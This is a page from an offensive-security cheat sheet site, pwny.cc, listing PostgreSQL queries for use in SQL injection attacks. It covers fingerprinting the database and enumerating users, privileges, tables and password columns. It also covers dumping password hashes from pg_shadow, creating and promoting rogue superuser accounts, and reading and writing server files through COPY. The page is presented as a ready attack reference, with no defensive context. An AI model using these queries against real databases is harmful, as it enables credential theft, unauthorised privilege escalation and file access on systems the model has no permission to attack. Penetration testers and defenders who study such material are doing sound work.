pwny.cc
  • Home
  • SO
    • AI
      • Evasion
        • Exercise 1
        • Exercise 2
        • Exercise 3
        • Exercise 4
    • Android
      • adb
      • apktool
      • burp suite
      • dns spoofing
      • frida
      • intent
      • jadx
      • JNI
      • objection
      • tcpdump
      • webview
    • iOS
      • objection
    • Linux
      • Internal Recon
      • Bypasses
      • Network
      • Exfiltration
      • Containers
      • Iptables
    • Windows
      • Internal Recon
      • External Recon
      • Bypasses
      • Network
      • Exfiltration
  • SHELLS
    • Misc
    • Web Shells
    • Reverse Shells
    • Obfuscated Shells
  • WEB ATTACKS
    • Misc
    • Command Injection
    • Cross-Site Scripting (XSS)
      • XSS Tips
      • WAF Bypasses
    • Insecure Direct Object Reference (IDOR)
    • Insecure File Upload
    • Local File Inclusion (LFI)
      • Bypass Techniques
      • LFI to RCE
    • OAuth
    • Open Redirect
      • Open Redirect to XSS
    • Server Side Request Forgery (SSRF)
    • Server Side Template Injection (SSTI)
    • SQL Injection (SQLi)
      • SQLMap
      • MySQL
      • MSSQL
      • Oracle
      • PostgreSQL
    • XML External Entity (XXE)
  • OTHER
    • Cracking
      • Hashcat
      • John the Ripper
    • Sandbox Escape
Powered by GitBook
On this page
  • Version
  • Comments
  • Current User
  • List Users
  • List Password Hashes (PRIV)
  • List Privileges
  • List DBA Accounts
  • Check if Current User is Superuser
  • Current Database
  • List Databases
  • List Tables
  • List Columns
  • Find Tables from Column Name
  • Hostname, IP Address
  • Create Users (PRIV)
  • Delete Users (PRIV)
  • Make User DBA (PRIV)
  • Location of DB Files (PRIV)
  • Read Files (PRIV)
  • Write Files (PRIV)

Was this helpful?

  1. WEB ATTACKS
  2. SQL Injection (SQLi)

PostgreSQL

Some of the queries in the table below can only be run by an admin. These are marked with (PRIV) at the description.

Version

SELECT version();

Comments

SELECT 1; --comment
SELECT /*comment*/1;

Current User

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();

List Users

SELECT usename FROM pg_user;

List Password Hashes (PRIV)

SELECT usename, passwd FROM pg_shadow;

List Privileges

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user;

List DBA Accounts

SELECT usename FROM pg_user WHERE usesuper IS TRUE;

Check if Current User is Superuser

SELECT current_setting('is_superuser')='on';

Current Database

SELECT current_database();

List Databases

SELECT datname FROM pg_database;

List Tables

SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);

List Columns

SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public');

Find Tables from Column Name

#If you want to list all the table names that contain a column LIKE '%password%':
SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';

Hostname, IP Address

#Returns db server IP address (or null if using local connection) 
SELECT inet_server_addr();

#Returns db server port
SELECT inet_server_port();

Create Users (PRIV)

CREATE USER test1 PASSWORD 'pass1';

#Grant some privs at the same time
CREATE USER test1 PASSWORD 'pass1' CREATEUSER;

Delete Users (PRIV)

DROP USER test1;

Make User DBA (PRIV)

ALTER USER test1 CREATEUSER CREATEDB;

Location of DB Files (PRIV)

SELECT current_setting('data_directory');
SELECT current_setting('hba_file');

Read Files (PRIV)

COPY passwords from $$c:\passwords.txt$$;
SELECT content from passwords;

Write Files (PRIV)

CREATE temp table passwords (content text);
COPY (SELECT $$passwords$$) to $$c:\passwords.txt$$;
PreviousOracleNextXML External Entity (XXE)

Last updated 3 years ago

Was this helpful?